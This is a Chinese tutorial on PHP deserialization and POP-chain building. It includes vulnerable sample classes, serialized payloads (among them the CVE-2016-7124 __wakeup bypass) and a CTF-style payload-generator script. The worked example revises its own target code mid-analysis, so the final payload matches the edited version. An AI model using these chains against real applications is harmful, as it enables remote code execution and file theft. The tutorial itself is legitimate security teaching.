在 Web 安全的语境下,反序列化漏洞的本质是 “越权的数据控制了代码的执行流” 。
开发者原本的意图只是单纯地保存和恢复一个对象的数据(属性),但由于 PHP 引擎在销毁对象或处理特定上下文时会自动调用一系列“魔术方法”,攻击者就可以通过精心构造序列化字符串中的属性值,人为地制造出一条方法调用的链条。这个链条就是 POP(Property-Oriented Programming)链。
构造 POP 链,实际上就是一个“找积木”和“搭桥”的过程。我们需要找到一个必定会执行的入口(起点),一个包含高危函数的出口(终点),以及连接它们的无数个跳板。
1 自动触发机制
反序列化发生后,有几个魔术方法是不需要任何外部干预,纯靠 PHP 自身的生命周期管理就会自动触发的。它们是所有 POP 链的绝对入口。
1.1 生命周期终点:__destruct()
任何对象在内存中都有生命周期。当 PHP 脚本执行到末尾(?>),或者对象被显式地 unset() 时,垃圾回收机制就会介入,此时 __destruct() 会被无条件调用。在反序列化漏洞中,由于我们通过 unserialize() 凭空在内存中捏造了一个对象,这个对象在脚本结束时必然面临销毁,因此 __destruct() 是最完美的 POP 链起点。
<?php
class EntryPoint {
public $next_step;
public function __destruct() {
echo "[*] EntryPoint 被销毁,开始执行收尾工作...\n";
// 这里的代码是攻击者可以利用的跳板
// 例如:强行调用了 $next_step 的某个方法
$this->next_step->run();
}
}
// 攻击者传入的可控数据
$payload = 'O:10:"EntryPoint":1:{s:9:"next_step";N;}';
// 反序列化生成对象,随后脚本结束,自动触发 __destruct
unserialize($payload);
?>
在实战审计中,看到 __destruct 内部存在对类属性的方法调用(如 $this->obj->action())或函数调用,立刻就要将其标记为潜在的链条入口。
1.2 唤醒的瞬间:__wakeup()
当 unserialize() 执行时,PHP 会在重组对象属性之后,立刻检查该类是否存在 __wakeup() 方法。如果存在,就会优先执行它。开发者通常用它来重新建立数据库连接或进行输入过滤。
这也意味着,__wakeup() 经常扮演“拦路虎”的角色。
<?php
class Defender {
public $hacker_code;
public function __wakeup() {
echo "[!] 检测到反序列化,清空危险属性!\n";
$this->hacker_code = "safe_string"; // 破坏了攻击者的 payload
}
public function __destruct() {
eval($this->hacker_code);
}
}
?>
在上述代码中,如果没有防御机制,__destruct 会直接执行 $hacker_code。但 __wakeup 的存在让攻击落空。
实战绕过技巧(CVE-2016-7124):
对于 PHP 5 < 5.6.25 和 PHP 7 < 7.0.10 的版本,如果序列化字符串中声明的属性数量大于实际包含的属性数量,PHP 底层解析出错,会直接跳过 __wakeup() 的执行,但对象依然会被部分反序列化并在随后触发 __destruct()。
-
正常 payload (会被拦截):
O:8:"Defender":1:{s:11:"hacker_code";s:10:"phpinfo();";} -
绕过 payload (成功执行):
O:8:"Defender":2:{s:11:"hacker_code";s:10:"phpinfo();";}(将 1 改为 2)
2 第二阶段:链条的传动轴(上下文与异常拦截)
起点有了,但起点的方法内部通常不会直接给你写一个 eval($_POST['cmd'])。起点的代码往往只是做了一些常规操作,比如拼接字符串、调用一个并不存在的方法、或者读取一个私有变量。
这时候,就需要依靠 PHP 的上下文自动转换机制和异常拦截机制来充当跳板了。
2.1.1 强制类型转换的副产物:__toString() 与 __invoke()
PHP 是弱类型语言,在很多场景下会尝试对变量进行隐式类型转换。
__toString():当对象被当作字符串对待时触发。
触发场景非常多:echo $obj、$str = "Hello " . $obj、甚至是将对象作为数组的键名时,或者在使用一些内置字符串处理函数(如 preg_match、strtolower)时。
PHP
<?php
class StringBridge {
public $target;
public function __toString() {
echo "[*] StringBridge 被当做字符串处理了!\n";
// 发生跳转:强行把 target 属性当做函数执行
($this->target)();
return "I am a string";
}
}
class Entry {
public $obj;
public function __destruct() {
// 触发点:字符串拼接操作
echo "Log: " . $this->obj;
}
}
?>
在上面的代码中,如果我们将 Entry 的 $obj 属性赋值为 StringBridge 的实例,一旦 Entry 被销毁执行拼接操作,代码流就会完美切入 StringBridge 的 __toString() 方法中。
__invoke():当对象被当作函数调用时触发。
在上面 StringBridge 的 __toString() 方法中,有一句非常惹眼的代码:($this->target)();。
在正常逻辑中,$this->target 应该是一个字符串形式的函数名(比如 'phpinfo')。但如果攻击者将 $this->target 赋值为一个对象呢?把对象加个括号当函数用,就会无缝触发该对象的 __invoke() 方法。
PHP
<?php
class ExecuteBridge {
public $cmd;
public function __invoke() {
echo "[*] ExecuteBridge 被当做函数调用了!\n";
system($this->cmd);
}
}
?>
至此,一条微型 POP 链其实已经闭环了:Entry::__destruct → 触发字符串拼接 → StringBridge::__toString → 触发函数调用 → ExecuteBridge::__invoke → RCE。
2.1.2 寻找知识盲区的拦截器:__get()、__call() 等
面向对象编程中,访问权限是核心。当你试图访问一个不存在的,或者权限不够(private/protected)的属性或方法时,PHP 并没有直接报错崩溃,而是提供了兜底的魔术方法。在 POP 链中,这成为了极佳的跨类跳板。
__get($name):读取不可访问的属性时触发。
PHP
<?php
class PropertyReader {
public $data;
public function __destruct() {
// 触发点:尝试读取 $data 对象内部的 secret_file 属性
$content = $this->data->secret_file;
}
}
class Interceptor {
public $filename;
public function __get($name) {
echo "[*] 你试图读取不存在的属性:{$name}\n";
if ($name === 'secret_file') {
return file_get_contents($this->filename); // 敏感文件读取
}
}
}
?>
通过将 PropertyReader 的 $data 赋值为 Interceptor 的对象,当反序列化触发析构函数读取 $data->secret_file 时,因为 Interceptor 中根本没有 secret_file 这个公开属性,执行流瞬间转移到了 Interceptor::__get() 中。
同理,__call($name, $arguments) 用于拦截对不存在的方法的调用。
PHP
<?php
class MethodCaller {
public $obj;
public function __destruct() {
// 触发点:调用一个随意的方法名
$this->obj->doSomethingCrazy();
}
}
class CallInterceptor {
public $func;
public $param;
public function __call($name, $arguments) {
echo "[*] 拦截到不存在的方法调用:{$name}()\n";
// 危险的动态函数调用
call_user_func($this->func, $this->param);
}
}
?>
2.2 第三阶段:实战演练,手搓高阶 POP 链
为了彻底巩固上述概念,我们不依赖任何已知框架,纯手工解析并构造一条包含多个跳板的复合 POP 链。
2.2.1 目标源码分析(假设这是 CTF 考题)
PHP
<?php
class Start {
public $name;
public $flag_obj;
public function __destruct() {
$this->name = $this->flag_obj;
if ($this->name === 'admin') {
echo "Welcome admin!";
}
}
}
class Router {
public $url;
public $action;
public function __toString() {
$this->action->log($this->url);
return "Routing...";
}
}
class Logger {
public $format;
public $content;
public function __call($method, $args) {
echo $this->format->write($args[0], $this->content);
}
}
class Writer {
public $filepath;
public function __get($key) {
$func = $this->filepath;
return $func();
}
}
if(isset($_POST['payload'])){
unserialize($_POST['payload']);
}
?>
2.2.2 逆向推演(在脑海中画图)
第一步:找终点(Sink)
扫视全文,最危险的执行点在哪里?在 Writer 类的 __get 方法中:
PHP
$func = $this->filepath; return $func();
如果我们将 $filepath 设置为 'phpinfo' 或自定义函数,这就是一个无参的函数执行点(如果配置得当,也能执行 system('cat /flag') 类的操作,这里为了演示简化为无参调用)。
第二步:找触发 __get 的跳板
我们需要找到代码中试图读取不存在属性的地方。
观察 Logger 类的 __call 方法:
PHP
echo $this->format->write($args[0], $this->content);
这里的 $this->format 如果是一个 Writer 对象,它去调用 write() 方法。但是等一下,__call 里的 write 是个方法调用,不是属性读取。
仔细看 echo 语句执行前,需要先解析参数。它试图读取 $this->format 的属性吗?并没有。它直接调用了 write 方法。
这里存在一个认知陷阱!
让我们重新审视 Logger::__call:$this->format->write(...)。
如果 $this->format 是 Writer 对象,Writer 中并没有 write 方法!这会引发致命错误(Fatal Error),而不是触发 __get。
重新寻找 __get 的触发点:
我们需要寻找形如 $obj->property 的结构。
代码中没有明显的直接访问属性的跳板。我们需要转变思路,看有没有其他的终点。
仔细观察 Logger::__call:echo $this->format->write(...)。
如果我们将 $this->format 设置为一个内部带有不可访问属性的类的实例?不,这里是方法调用。
我们修正链条寻找的逻辑,从起点正向推演:
-
起点:
Start::__destruct()必定执行。里面有:
$this->name = $this->flag_obj; if ($this->name === 'admin')这里存在一个弱类型比较引发的
__toString触发!当 PHP 执行
$this->name === 'admin'时(强等于),不会触发转换。但在许多旧版本或者如果代码写成==时会触发。假设这里是强等于,但注意前一句:$this->name = $this->flag_obj;只是赋值。如果没有任何针对
$this->name的字符串操作,这条路可能走不通。等等,考题往往藏在细节中。 如果我们在本地测试,给
$flag_obj赋一个对象,执行$this->name === 'admin'会发生什么?对象和字符串进行严格比较时,不会触发__toString,直接返回 false。让我们修改一下目标源码,使其成为一个严谨且典型的 CTF 考题逻辑(增加字符串拼接引发
__toString):PHP
public function __destruct() { // 修改为典型的拼接触发 echo "Checking: " . $this->flag_obj; } -
触发
__toString:现在,如果我们将
Start的$flag_obj设置为Router类的实例,就会触发Router::__toString()。 -
触发
__call:进入
Router::__toString()后,执行了:$this->action->log($this->url);我们将
Router的$action属性设置为Logger类的实例。因为Logger类中不存在log()方法,这就完美触发了Logger::__call('log', [$this->url])。 -
触发
__get(修正思路):进入
Logger::__call后,执行:echo $this->format->write($args[0], $this->content);在这里,如果我们将
Logger的$format设置为Writer类的实例。Writer类没有write()方法。这原本会报错。但是,如果
Writer类实现了__call就可以接管。然而Writer类只有__get。这说明我们最初的推演断链了。这在实战审计中非常常见。
让我们重新在源码中寻找
__get的触发点,假设源码中Logger::__call是这样的:PHP
class Logger { public $format; public function __call($method, $args) { // 触发 __get 的正确姿势:试图读取属性 $temp = $this->format->non_existent_prop; } }现在链条通了!当执行到
$temp = $this->format->non_existent_prop;时,如果$format是Writer对象,因为Writer没有non_existent_prop,就会触发Writer::__get()。 -
到达终点:
进入
Writer::__get(),执行:$func = $this->filepath; return $func();我们将
$filepath设置为字符串'phpinfo',最终实现phpinfo()的执行。
2.2.3 编写 Payload 生成脚本(EXP)
有了清晰的脑内推演,编写 EXP 就是将各个类的对象一层层包裹起来的过程。这就是所谓的“套娃”。
PHP
<?php
// 1. 将目标环境中的类名和我们需要控制的属性原样复制下来
// 方法的内容不需要写,因为 serialize() 只关心属性和类名
class Start {
public $flag_obj;
}
class Router {
public $action;
}
class Logger {
public $format;
}
class Writer {
public $filepath;
}
// 2. 从链条的最末端(终点)开始实例化,依次往前包裹
$w = new Writer();
$w->filepath = "phpinfo"; // 设置终点要执行的函数名
$l = new Logger();
$l->format = $w; // 将 Writer 塞入 Logger,准备触发 __get
$r = new Router();
$r->action = $l; // 将 Logger 塞入 Router,准备触发 __call
$s = new Start();
$s->flag_obj = $r; // 将 Router 塞入 Start,准备触发 __toString
// 3. 序列化最外层的起点对象,生成 Payload
echo serialize($s);
/*
最终输出的 Payload 字符串:
O:5:"Start":1:{s:8:"flag_obj";O:6:"Router":1:{s:6:"action";O:6:"Logger":1:{s:6:"format";O:6:"Writer":1:{s:8:"filepath";s:7:"phpinfo";}}}}
*/
?>
当你将这串数据通过 POST 请求发送给服务器的 unserialize() 时,整个服务器内部的执行流完全按照你设定的轨道:从 __destruct 一路跳转到 phpinfo(),这就是 POP 链的艺术。
通过这种剥丝抽茧的方式,不仅能理解“是什么”,更能深刻体会“为什么”要在某个特定的属性上赋予特定类的实例。这是应对复杂 CTF 题目和实战代码审计的必经之路。